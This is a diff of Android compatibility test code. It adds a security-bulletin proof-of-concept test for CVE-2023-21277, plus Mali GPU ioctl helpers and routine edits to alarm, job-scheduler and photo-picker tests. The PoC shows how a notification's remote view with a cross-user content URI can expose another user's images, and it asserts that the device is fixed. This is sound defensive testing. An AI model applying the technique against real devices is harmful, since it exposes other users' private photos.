+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Instrumentation;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.ContentProvider;
+import android.content.Context;
+import android.content.pm.UserInfo;
+import android.graphics.drawable.Icon;
+import android.os.UserManager;
+import android.widget.RemoteViews;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testPocCVE_2023_21277() {
+ UiDevice uiDevice = null;
+ try {
+ final String cveId = "cve_2023_21277_";
+ final String title = cveId + "title";
+
+ Instrumentation instrumentation = getInstrumentation();
+ Context context = instrumentation.getContext();
+ UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ uiDevice = UiDevice.getInstance(instrumentation);
+ UserManager userManager = context.getSystemService(UserManager.class);
+ final String packageName = context.getPackageName();
+
+ // Check if the device supports multiple users
+ assume().withMessage("This device does not support multiple users")
+ .that(userManager.supportsMultipleUsers())
+ .isTrue();
+
+ // Retrieve created user Id
+ final int userId =
+ runWithShellPermissionIdentity(
+ () -> {
+ List<UserInfo> list = userManager.getUsers();
+ for (UserInfo info : list) {
+ if (info.name.contains(cveId)) {
+ return info.getUserHandle().getIdentifier();
+ }
+ }
+ return -1;
+ },
+ CREATE_USERS);
+ assume().withMessage("Could not find user id of created user")
+ .that(userId != -1)
+ .isTrue();
+
+ // Post a notification with a content view containing image from other user
+ RemoteViews remoteView = new RemoteViews(packageName, R.layout.cve_2023_21277_layout);
+ Icon remoteViewIcon =
+ Icon.createWithContentUri(
+ ContentProvider.maybeAddUserId(EXTERNAL_CONTENT_URI, userId));
+ remoteView.setIcon(
+ R.id.cve_2023_21277_img, "setImageIcon", remoteViewIcon, remoteViewIcon);
+ NotificationChannel notificationChannel =
+ new NotificationChannel(cveId, cveId, NotificationManager.IMPORTANCE_DEFAULT);
+ NotificationManager notificationManager =
+ context.getSystemService(NotificationManager.class);
+ notificationManager.createNotificationChannel(notificationChannel);
+ Notification notification =
+ new Notification.Builder(context, cveId)
+ .setContentTitle(title)
+ .setSmallIcon(
+ Icon.createWithData(
+ new byte[0] /* data */, 0 /* offset */, 0 /* length */))
+ .setCustomContentView(remoteView)
+ .setCustomBigContentView(remoteView)
+ .build();
+ try {
+ notificationManager.notify(0 /* id */, notification);
+ } catch (SecurityException securityException) {
+ if (securityException
+ .getLocalizedMessage()
+ .toLowerCase()
+ .contains(EXTERNAL_CONTENT_URI.toString())) {
+ // Ignore exception thrown with fix and exit the test
+ return;
+ } else {
+ throw securityException;
+ }
+ }
+
+ // Open notification shade
+ assume().withMessage("Opening notification shade unsuccessful")
+ .that(uiDevice.openNotification())
+ .isTrue();
+
+ // Wait for notification to appear and detect if the remote view is present
+ uiDevice.wait(Until.hasObject(By.text(title)), 3000 /* timeout */);
+ UiObject2 exposedImg = uiDevice.findObject(By.res(packageName, cveId + "img"));
+ assertWithMessage(
+ "Device is vulnerable to b/277740848, Other user's images can be"
+ + " exposed in notifications using remote views")
+ .that(exposedImg)
+ .isNull();
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ uiDevice.pressHome();
+ } catch (Exception e) {
+ // Ignore exceptions as the test has finished
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/utils/mali_gpu_utils/Android.bp b/hostsidetests/securitybulletin/utils/mali_gpu_utils/Android.bp
new file mode 100644
index 0000000..ecfa50e
--- /dev/null
+++ b/hostsidetests/securitybulletin/utils/mali_gpu_utils/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_library_static {
+ name: "mali_gpu_utils",
+ srcs: [
+ "src/*",
+ ],
+ export_include_dirs: ["include"],
+}
diff --git a/hostsidetests/securitybulletin/utils/mali_gpu_utils/include/mali_gpu_utils.h b/hostsidetests/securitybulletin/utils/mali_gpu_utils/include/mali_gpu_utils.h
new file mode 100644
index 0000000..a234325
--- /dev/null
+++ b/hostsidetests/securitybulletin/utils/mali_gpu_utils/include/mali_gpu_utils.h
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+/* Kernel UAPI */
+#define __u8 uint8_t
+#define __u16 uint16_t
+#define __u32 uint32_t
+#define __u64 uint64_t
+
+#define LOCAL_PAGE_SHIFT 12
+#define BASE_MEM_MAP_TRACKING_HANDLE (3ul << LOCAL_PAGE_SHIFT)
+
+/* IOCTL */
+#define KBASE_IOCTL_TYPE 0x80
+
+typedef struct mali_gpu_info {
+ bool is_csf;
+ uint32_t version;
+ void* tracking_page;
+} mali_gpu_info;
+
+struct kbase_ioctl_version_check {
+ __u16 major;
+ __u16 minor;
+};
+
+struct kbase_ioctl_set_flags {
+ __u32 create_flags;
+};
+
+struct kbase_ioctl_get_gpuprops {
+ __u64 buffer;
+ __u32 size;
+ __u32 flags;
+};
+
+struct kbase_ioctl_get_ddk_version {
+ __u64 version_buffer;
+ __u32 size;
+ __u32 padding;
+};
+
+#define KBASE_IOCTL_GET_DDK_VERSION _IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version)
+#define KBASE_IOCTL_SET_FLAGS _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags)
+#define KBASE_IOCTL_VERSION_CHECK_JM _IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check)
+#define KBASE_IOCTL_VERSION_CHECK_CSF _IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check)
+
+int32_t initialize_mali_gpu(const int32_t mali_fd, mali_gpu_info* gpu_info);
+void teardown(mali_gpu_info* gpu_info);
diff --git a/hostsidetests/securitybulletin/utils/mali_gpu_utils/src/mali_gpu_utils.c b/hostsidetests/securitybulletin/utils/mali_gpu_utils/src/mali_gpu_utils.c
new file mode 100644
index 0000000..cf47d27
--- /dev/null
+++ b/hostsidetests/securitybulletin/utils/mali_gpu_utils/src/mali_gpu_utils.c
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <mali_gpu_utils.h>
+#include <string.h>
+
+const int32_t kMaxVersionLength = 64;
+
+int32_t initialize_mali_gpu(const int32_t mali_fd, mali_gpu_info* gpu_info) {
+ int32_t ret = 0;
+ int32_t version_len = 0;
+
+ // Perform version check handshake
+ struct kbase_ioctl_version_check vc = {0};
+ ret = ioctl(mali_fd, KBASE_IOCTL_VERSION_CHECK_JM, &vc);
+ if (ret < 0) {
+ ret = ioctl(mali_fd, KBASE_IOCTL_VERSION_CHECK_CSF, &vc);
+ if (ret < 0) {
+ printf("Unexpected Mali GPU architecture!");
+ return EXIT_FAILURE;
+ }
+ gpu_info->is_csf = true;
+ }
+
+ // Set flags to initialize context
+ struct kbase_ioctl_set_flags set_flags = {.create_flags = 0};
+ ret = ioctl(mali_fd, KBASE_IOCTL_SET_FLAGS, &set_flags);
+ if (ret < 0) {
+ printf("Failed to set flags!");
+ return EXIT_FAILURE;
+ }
+
+ // Map tracking page
+ gpu_info->tracking_page =
+ mmap(NULL, PAGE_SIZE, PROT_NONE, MAP_SHARED, mali_fd, BASE_MEM_MAP_TRACKING_HANDLE);
+ if (gpu_info->tracking_page == MAP_FAILED) {
+ printf("Failed to map tracking page!");
+ return EXIT_FAILURE;
+ }
+
+ // Get KMD version string length
+ struct kbase_ioctl_get_ddk_version get_version_len = {
+ .version_buffer = 0,
+ };
+ version_len = ioctl(mali_fd, KBASE_IOCTL_GET_DDK_VERSION, &get_version_len);
+ if (version_len < 0) {
+ teardown(gpu_info);
+ printf("Unexpected KMD version string length!");
+ return EXIT_FAILURE;
+ }
+
+ // Get KMD version string
+ char version_str[kMaxVersionLength];
+ memset(version_str, '\0', kMaxVersionLength);
+ struct kbase_ioctl_get_ddk_version get_version = {
+ .version_buffer = (__u64)&version_str,
+ .size = version_len,
+ };
+ ret = ioctl(mali_fd, KBASE_IOCTL_GET_DDK_VERSION, &get_version);
+ if (ret < 0) {
+ teardown(gpu_info);
+ printf("Unexpected KMD version string!");
+ return EXIT_FAILURE;
+ }
+ version_str[version_len] = '\0';
+
+ // Parse KMD version string with the format `K:r<version>pX-XXXXXX(GPL)`
+ sscanf(version_str, "K:r%up", &(gpu_info->version));
+ if (gpu_info->version == 0) {
+ teardown(gpu_info);
+ printf("Parsing failed! Unexpected KMD version string!");
+ return EXIT_FAILURE;
+ }
+ return EXIT_SUCCESS;
+}
+
+void teardown(struct mali_gpu_info* gpu_info) {
+ if (!(gpu_info->tracking_page)) {
+ munmap(gpu_info->tracking_page, PAGE_SIZE);
+ gpu_info->tracking_page = NULL;
+ }
+}
diff --git a/hostsidetests/theme/assets/34/390dpi.zip b/hostsidetests/theme/assets/34/390dpi.zip
new file mode 100644
index 0000000..e6eeb61
--- /dev/null
+++ b/hostsidetests/theme/assets/34/390dpi.zip
Binary files differ
diff --git a/tests/AlarmManager/Android.bp b/tests/AlarmManager/Android.bp
index e62687a..c47fcb7 100644
--- a/tests/AlarmManager/Android.bp
+++ b/tests/AlarmManager/Android.bp
@@ -34,6 +34,7 @@
"cts",
"general-tests",
"mts-scheduling",
+ "mcts-scheduling",
],
platform_apis: true,
data: [
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index e8254cc..49b25a0 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -281,8 +281,7 @@
private void updateAlarmManagerConstants() {
mConfigHelper.with("min_futurity", MIN_FUTURITY)
.with("app_standby_window", APP_STANDBY_WINDOW)
- .with("min_window", MIN_WINDOW)
- .with("exact_alarm_deny_list", TEST_APP_PACKAGE);
+ .with("min_window", MIN_WINDOW);
for (int i = 0; i < APP_STANDBY_QUOTAS.length; i++) {
mConfigHelper.with(APP_BUCKET_QUOTA_KEYS[i], APP_STANDBY_QUOTAS[i]);
}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
index ad25886..34ad678 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
@@ -230,21 +230,11 @@
public void hasPermissionWhenAllowed() throws Exception {
setAppOp(TEST_APP_PACKAGE, AppOpsManager.MODE_ALLOWED);
assertTrue(getCanScheduleExactAlarmFromTestApp(TEST_APP_PACKAGE));
-
- // The deny list shouldn't matter in this case.
- mDeviceConfigHelper.with("exact_alarm_deny_list", TEST_APP_PACKAGE)
- .commitAndAwaitPropagation();
- assertTrue(getCanScheduleExactAlarmFromTestApp(TEST_APP_PACKAGE));
}
@Test
public void canScheduleExactAlarmWithPolicyPermission() {
assertTrue(mAlarmManager.canScheduleExactAlarms());
-
- // The deny list shouldn't do anything.
- mDeviceConfigHelper.with("exact_alarm_deny_list", sContext.getOpPackageName())
- .commitAndAwaitPropagation();
- assertTrue(mAlarmManager.canScheduleExactAlarms());
}
@Test
@@ -257,12 +247,6 @@
public void canScheduleExactAlarmWithUserPermissionSdk32() throws Exception {
// Should be allowed by default.
assertTrue(getCanScheduleExactAlarmFromTestApp(TEST_APP_WITH_SCHEDULE_EXACT_ALARM_32));
-
- mDeviceConfigHelper.with("exact_alarm_deny_list", TEST_APP_WITH_SCHEDULE_EXACT_ALARM_32)
- .commitAndAwaitPropagation();
-
- assertFalse("canScheduleExactAlarm returned true when app was in deny list",
- getCanScheduleExactAlarmFromTestApp(TEST_APP_WITH_SCHEDULE_EXACT_ALARM_32));
}
@Test
@@ -344,7 +328,7 @@
alarmLatch.countDown();
}
};
- sContext.registerReceiver(receiver, filter, Context.RECEIVER_EXPORTED_UNAUDITED);
+ sContext.registerReceiver(receiver, filter, Context.RECEIVER_EXPORTED);
try {
Thread.sleep(5_000);
assertTrue("AlarmClock expiration not reported",
@@ -638,7 +622,7 @@
latch.countDown();
}
};
- sContext.registerReceiver(receiver, filter, Context.RECEIVER_EXPORTED_UNAUDITED);
+ sContext.registerReceiver(receiver, filter, Context.RECEIVER_EXPORTED);
try {
Log.d(TAG, "Granting the appop");
setAppOp(TEST_APP_PACKAGE, AppOpsManager.MODE_ALLOWED);
@@ -650,45 +634,4 @@
sContext.unregisterReceiver(receiver);
}
}
-
- @Test
- public void scheduleExactAlarmPermissionStateChangedSentDenyListSdk32() throws Exception {
- // App is targeting SDK 32, deny list will dictate the default grant state.
- prepareTestAppForBroadcast(mPermissionChangeReceiver32);
-
- // App op hasn't been touched, should be default.
- Log.d(TAG, "Putting in deny list");
- mDeviceConfigHelper.with("exact_alarm_deny_list", TEST_APP_WITH_SCHEDULE_EXACT_ALARM_32)
- .commitAndAwaitPropagation();
- removeFromWhitelists(TEST_APP_WITH_SCHEDULE_EXACT_ALARM_32);
-
- final int uid = Utils.getPackageUid(TEST_APP_WITH_SCHEDULE_EXACT_ALARM_32);
- TestUtils.waitUntil("Package still allowlisted",
- () -> !checkThisAppTempAllowListed(uid));
-
- final IntentFilter filter = new IntentFilter(
- PermissionStateChangedReceiver.ACTION_FGS_START_RESULT);
- final AtomicReference<String> resultHolder = new AtomicReference<>();
- final CountDownLatch latch = new CountDownLatch(1);
- final BroadcastReceiver receiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- Log.d(TAG, "Received response intent: " + intent);
- resultHolder.set(intent.getStringExtra(
- FgsTester.EXTRA_FGS_START_RESULT));
- latch.countDown();
- }
- };
- sContext.registerReceiver(receiver, filter, Context.RECEIVER_EXPORTED_UNAUDITED);
- try {
- Log.d(TAG, "Removing from deny list");
- mDeviceConfigHelper.without("exact_alarm_deny_list").commitAndAwaitPropagation();
-
- assertTrue("Didn't receive response",
- latch.await(30, TimeUnit.SECONDS));
- assertEquals("Failure message should be empty", "", resultHolder.get());
- } finally {
- sContext.unregisterReceiver(receiver);
- }
- }
}
diff --git a/tests/JobScheduler/Android.bp b/tests/JobScheduler/Android.bp
index 53e3adc..a857c0c 100644
--- a/tests/JobScheduler/Android.bp
+++ b/tests/JobScheduler/Android.bp
@@ -24,6 +24,7 @@
"androidx.test.uiautomator_uiautomator",
"androidx.test.rules",
"cts-wm-util",
+ "Harrier",
],
libs: ["android.test.base"],
srcs: [
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ExpeditedJobTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ExpeditedJobTest.java
index 00b9da2..3becbf4 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ExpeditedJobTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ExpeditedJobTest.java
@@ -23,6 +23,7 @@
import android.app.ActivityManager;
import android.app.AppOpsManager;
+import android.app.job.JobInfo;
import android.content.Context;
import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
import android.os.SystemClock;
@@ -40,7 +41,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.Collections;
import java.util.Map;
@RunWith(AndroidJUnit4.class)
@@ -51,6 +51,7 @@
private Context mContext;
private UiDevice mUiDevice;
private int mTestJobId;
+ private NetworkingHelper mNetworkingHelper;
private TestAppInterface mTestAppInterface;
@Before
@@ -62,23 +63,33 @@
setTestPackageStandbyBucket(mUiDevice, JobThrottlingTest.Bucket.ACTIVE);
AppOpsUtils.setOpMode(TEST_APP_PACKAGE, APP_OP_GET_USAGE_STATS,
AppOpsManager.MODE_ALLOWED);
+ mNetworkingHelper = new NetworkingHelper(
+ InstrumentationRegistry.getInstrumentation(), mContext);
}
@After
public void tearDown() throws Exception {
mTestAppInterface.cleanup();
AppOpsUtils.reset(TEST_APP_PACKAGE);
+ mNetworkingHelper.tearDown();
}
@Test
- public void testJobUidState() throws Exception {
+ public void testJobUidState_withRequiredNetwork() throws Exception {
// Turn screen off so any lingering activity close processing from previous tests
// don't affect this one.
ScreenUtils.setScreenOn(false);
- mTestAppInterface.scheduleJob(Map.of(
- TestJobSchedulerReceiver.EXTRA_AS_EXPEDITED, true,
- TestJobSchedulerReceiver.EXTRA_REQUEST_JOB_UID_STATE, true
- ), Collections.emptyMap());
+ mNetworkingHelper.setAllNetworksEnabled(true);
+ mTestAppInterface.scheduleJob(
+ Map.of(
+ TestJobSchedulerReceiver.EXTRA_AS_EXPEDITED, true,
+ TestJobSchedulerReceiver.EXTRA_REQUEST_JOB_UID_STATE, true
+ ),
+ Map.of(
+ TestJobSchedulerReceiver.EXTRA_REQUIRED_NETWORK_TYPE,
+ JobInfo.NETWORK_TYPE_ANY
+ )
+ );
mTestAppInterface.forceRunJob();
assertTrue("Job did not start after scheduling",
mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT_MS));
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/FlexibilityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/FlexibilityConstraintTest.java
index c4dcff3..a0e0b3c 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/FlexibilityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/FlexibilityConstraintTest.java
@@ -110,20 +110,6 @@
kTestEnvironment.awaitExecution(FLEXIBILITY_TIMEOUT_MILLIS));
}
- public void testNoConstraintSatisfied_noPreferred() throws Exception {
- if (!deviceSupportsFlexConstraints()) {
- return;
- }
- satisfySystemWideConstraints(false, false, false);
- kTestEnvironment.setExpectedExecutions(1);
- JobInfo job = new JobInfo.Builder(FLEXIBLE_JOB_ID, kJobServiceComponent).build();
- mJobScheduler.schedule(job);
- runJob();
-
- assertTrue("Job without flexible constraint did not fire when no constraints were required",
- kTestEnvironment.awaitExecution(FLEXIBILITY_TIMEOUT_MILLIS));
- }
-
/**
* Schedule an expedited job, verify it runs immediately.
*/
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/UserInitiatedJobTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/UserInitiatedJobTest.java
index 0acb5b4..5b0c22a 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/UserInitiatedJobTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/UserInitiatedJobTest.java
@@ -26,6 +26,7 @@
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
+import android.Manifest;
import android.app.ActivityManager;
import android.app.Instrumentation;
import android.app.job.JobParameters;
@@ -36,6 +37,7 @@
import android.jobscheduler.cts.jobtestapp.TestFgsService;
import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
import android.os.ParcelFileDescriptor;
+import android.os.PowerManager;
import android.os.SystemClock;
import android.os.UserHandle;
import android.provider.Settings;
@@ -46,6 +48,8 @@
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.UiDevice;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.permissions.PermissionContext;
import com.android.compatibility.common.util.CallbackAsserter;
import com.android.compatibility.common.util.ScreenUtils;
import com.android.compatibility.common.util.SystemUtil;
@@ -73,11 +77,13 @@
private static final int JOB_ID = UserInitiatedJobTest.class.hashCode();
private Context mContext;
+ private PowerManager mPowerManager;
private UiDevice mUiDevice;
private TestAppInterface mTestAppInterface;
private NetworkingHelper mNetworkingHelper;
private String mInitialActivityManagerConstants;
+ private boolean mInitialLowPowerStandbyEnabled;
@Before
public void setUp() throws Exception {
@@ -96,6 +102,13 @@
Settings.Global.putString(mContext.getContentResolver(),
Settings.Global.ACTIVITY_MANAGER_CONSTANTS, "background_settle_time=0");
SystemUtil.runShellCommand("am set-deterministic-uid-idle true");
+
+ mPowerManager = mContext.getSystemService(PowerManager.class);
+ mInitialLowPowerStandbyEnabled = mPowerManager.isLowPowerStandbyEnabled();
+ try (PermissionContext p = TestApis.permissions().withPermission(
+ Manifest.permission.MANAGE_LOW_POWER_STANDBY)) {
+ mPowerManager.setLowPowerStandbyEnabled(false);
+ }
}
@After
@@ -105,6 +118,10 @@
Settings.Global.putString(mContext.getContentResolver(),
Settings.Global.ACTIVITY_MANAGER_CONSTANTS, mInitialActivityManagerConstants);
SystemUtil.runShellCommand("am set-deterministic-uid-idle false");
+ try (PermissionContext p = TestApis.permissions().withPermission(
+ Manifest.permission.MANAGE_LOW_POWER_STANDBY)) {
+ mPowerManager.setLowPowerStandbyEnabled(mInitialLowPowerStandbyEnabled);
+ }
}
@Test
diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp
index cbf6fe2..7b24ed2 100644
--- a/tests/MediaProviderTranscode/Android.bp
+++ b/tests/MediaProviderTranscode/Android.bp
@@ -8,6 +8,7 @@
"device-tests",
"cts",
"mts-mediaprovider",
+ "mcts-mediaprovider",
],
compile_multilib: "both",
diff --git a/tests/PhotoPicker/Android.bp b/tests/PhotoPicker/Android.bp
index bac0320..fd4373f 100644
--- a/tests/PhotoPicker/Android.bp
+++ b/tests/PhotoPicker/Android.bp
@@ -29,6 +29,7 @@
test_suites: [
"general-tests",
"mts-mediaprovider",
+ "mcts-mediaprovider",
"cts",
],
sdk_version: "core_current",
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
index 25e8ebd..16dec1b 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
@@ -34,6 +34,7 @@
import android.net.Uri;
import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.photopicker.cts.util.UiAssertionUtils;
+import android.provider.MediaStore;
import android.util.Pair;
import androidx.test.uiautomator.UiObject;
@@ -203,6 +204,20 @@
UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
+ @Test
+ public void testPickerLaunchTabWithGetContent() throws Exception {
+ final Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.setType("*/*");
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_LAUNCH_TAB, MediaStore.PICK_IMAGES_TAB_ALBUMS);
+
+ mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE);
+
+ findAndClickMediaIcon();
+
+ // Should open Picker
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
+ }
+
private void findAndClickMediaIcon() throws Exception {
final UiSelector appList = new UiSelector().resourceId(sDocumentsUiPackageName
+ ":id/apps_row");
@@ -245,8 +260,9 @@
}
private void findAndClickFilesInDocumentsUi(List<String> fileNameList) throws Exception {
+ final UiSelector docList = getDirectoryListSelector();
for (String fileName : fileNameList) {
- findAndClickFileInDocumentsUi(fileName);
+ findAndClickFileInDocumentsUi(docList, fileName);
}
findAndClickSelect();
}
@@ -257,7 +273,7 @@
clickAndWait(sDevice, selectButton);
}
- private void findAndClickFileInDocumentsUi(String fileName) throws Exception {
+ private UiSelector getDirectoryListSelector() throws Exception {
final UiSelector docList = new UiSelector().resourceId(sDocumentsUiPackageName
+ ":id/dir_list");
@@ -275,6 +291,11 @@
} catch (UiObjectNotFoundException ignored) {
// Do nothing, already be in list mode.
}
+ return docList;
+ }
+
+ private void findAndClickFileInDocumentsUi(UiSelector docList, String fileName)
+ throws Exception {
// Repeat swipe gesture to find our item
// (UiScrollable#scrollIntoView does not seem to work well with SwipeRefreshLayout)
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
index b6180df..d29ee64 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
@@ -26,6 +26,7 @@
import static android.photopicker.cts.util.ResultsAssertionsUtils.assertPersistedGrant;
import static android.photopicker.cts.util.ResultsAssertionsUtils.assertPickerUriFormat;
import static android.photopicker.cts.util.ResultsAssertionsUtils.assertRedactedReadOnlyAccess;
+import static android.provider.MediaStore.ACTION_PICK_IMAGES;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -75,7 +76,7 @@
@Test
public void testPhotoPickerIntentDelegation() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ final Intent intent = new Intent(ACTION_PICK_IMAGES);
for (String mimeType: new String[] {
null,
@@ -94,7 +95,7 @@
@Test
public void testMultiSelect_invalidParam() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ final Intent intent = new Intent(ACTION_PICK_IMAGES);
intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit() + 1);
mActivity.startActivityForResult(intent, REQUEST_CODE);
final GetResultActivity.Result res = mActivity.getResult();
@@ -103,7 +104,7 @@
@Test
public void testMultiSelect_invalidNegativeParam() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ final Intent intent = new Intent(ACTION_PICK_IMAGES);
intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, -1);
mActivity.startActivityForResult(intent, REQUEST_CODE);
final GetResultActivity.Result res = mActivity.getResult();
@@ -116,7 +117,7 @@
final int imageCount = maxCount + 1;
mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId()));
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ final Intent intent = new Intent(ACTION_PICK_IMAGES);
intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, maxCount);
mActivity.startActivityForResult(intent, REQUEST_CODE);
@@ -175,7 +176,7 @@
public void testDoesNotRespectExtraAllowMultiple() throws Exception {
final int imageCount = 2;
mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId()));
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ final Intent intent = new Intent(ACTION_PICK_IMAGES);
intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true);
mActivity.startActivityForResult(intent, REQUEST_CODE);
@@ -186,14 +187,14 @@
clickAndWait(sDevice, itemList.get(0));
final Uri uri = mActivity.getResult().data.getData();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(ACTION_PICK_IMAGES, uri, mContext.getUserId());
assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
@Test
public void testMimeTypeFilter() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ final Intent intent = new Intent(ACTION_PICK_IMAGES);
intent.setType("audio/*");
assertThrows(ActivityNotFoundException.class,
() -> mActivity.startActivityForResult(intent, REQUEST_CODE));
@@ -201,12 +202,13 @@
@Test
public void testExtraMimeTypeFilter() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ final Intent intent = new Intent(ACTION_PICK_IMAGES);
intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[]{"audio/*"});
mActivity.startActivityForResult(intent, REQUEST_CODE);
final GetResultActivity.Result res = mActivity.getResult();
assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
}
+
private void addOrderedSelectionFlag(Intent intent) {
intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
